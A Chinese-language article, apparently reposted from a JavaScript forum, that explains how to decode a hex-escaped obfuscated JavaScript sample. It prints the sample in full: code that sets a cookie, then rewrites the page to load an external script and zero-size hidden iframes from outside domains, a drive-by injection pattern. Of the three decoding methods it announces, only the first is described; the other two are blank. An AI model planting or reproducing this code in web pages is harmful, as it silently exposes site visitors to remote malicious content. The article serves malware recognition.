本文介绍了一种包含十六进制转义字符的JavaScript混淆代码的解密方法。该代码通过动态构造Date和String对象，检查Cookie状态，若未设置则写入带有过期时间的Cookie，并覆盖页面HTML以加载外部恶意脚本和隐藏iframe。文章提供了三种解密手段，包括利用alert直接查看转义后的字符串内容，帮助开发者识别此类安全威胁。
JavaScript混淆代码示例
代码如下：
function Get(){
var $qL1 = new window["\x44\x61\x74\x65"]()
$qL1["\x73\x65\x74\x54\x69\x6d\x65"]($qL1["\x67\x65\x74\x54\x69\x6d\x65"]() + 24*60*60*1000)
var vuICgd2 = new window["\x53\x74\x72\x69\x6e\x67"](window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x6f\x6f\x6b\x69\x65"])
var JHasS3 = "\x43\x6f\x6f\x6b\x69\x65\x31\x3d"
var wUhao4 = vuICgd2["\x69\x6e\x64\x65\x78\x4f\x66"](JHasS3)
if (wUhao4 != -1){
}
{ window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x6f\x6f\x6b\x69\x65"] = "\x43\x6f\x6f\x6b\x69\x65\x31\x3d\x50\x4f\x50\x57\x49\x4e\x31\x3b\x65\x78\x70\x69\x72\x65\x73\x3d"+ $qL1["\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67"]()
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x48\x54\x4d\x4c\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x42\x4f\x44\x59 \x73\x74\x79\x6c\x65\x3d\'\x43\x55\x52\x53\x4f\x52\x3A \x75\x72\x6c\x28\x68\x74\x74\x70\x3A\/\/\x31\x2e\x35\x32\x30\x73\x62\x2e\x63\x6e\/\x61\x64\x2e\x6a\x70\x67\x29\'\x3e\x3c\/\x42\x4f\x44\x59\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\/\x48\x54\x4d\x4c\x3e ");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x73\x63\x72\x69\x70\x74 \x73\x72\x63\x3d\"\x68\x74\x74\x70\x3A\/\/\x73\x62\x2e\x32\x35\x75\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\x78\x5f\x70\x69\x63\/\x30\x36\x31\x34\x2e\x6a\x73\"\x3e\x3c\/\x73\x63\x72\x69\x70\x74\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x68\x74\x74\x70\x3A\/\/\x73\x62\x2e\x32\x35\x75\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\x78\x5f\x70\x69\x63\/\x6d\x6d\x2e\x68\x74\x6d\x6c \x77\x69\x64\x74\x68\x3d\x30 \x68\x65\x69\x67\x68\x74\x3d\x30\x3e\x3c\/\x69\x66\x72\x61\x6d\x65\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x68\x74\x74\x70\x3A\/\/\x73\x62\x2e\x32\x35\x75\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\x78\x5f\x70\x69\x63\/\x74\x6a\x2e\x68\x74\x6d \x77\x69\x64\x74\x68\x3d\x30 \x68\x65\x69\x67\x68\x74\x3d\x30\x3e\x3c\/\x69\x66\x72\x61\x6d\x65\x3e");
}
}Get();代码解密方法
解密上面的代码的几种方法：
方法一：
不过是把字符转换成16进制的转义值而以!直接用alert就可以知道意思了
[Ctrl+A 全选 注:引入外部Js需再刷新一下页面才能执行]
方法二：
[Ctrl+A 全选 注:引入外部Js需再刷新一下页面才能执行]
方法三：
[Ctrl+A 全选 注:引入外部Js需再刷新一下页面才能执行]
来自51js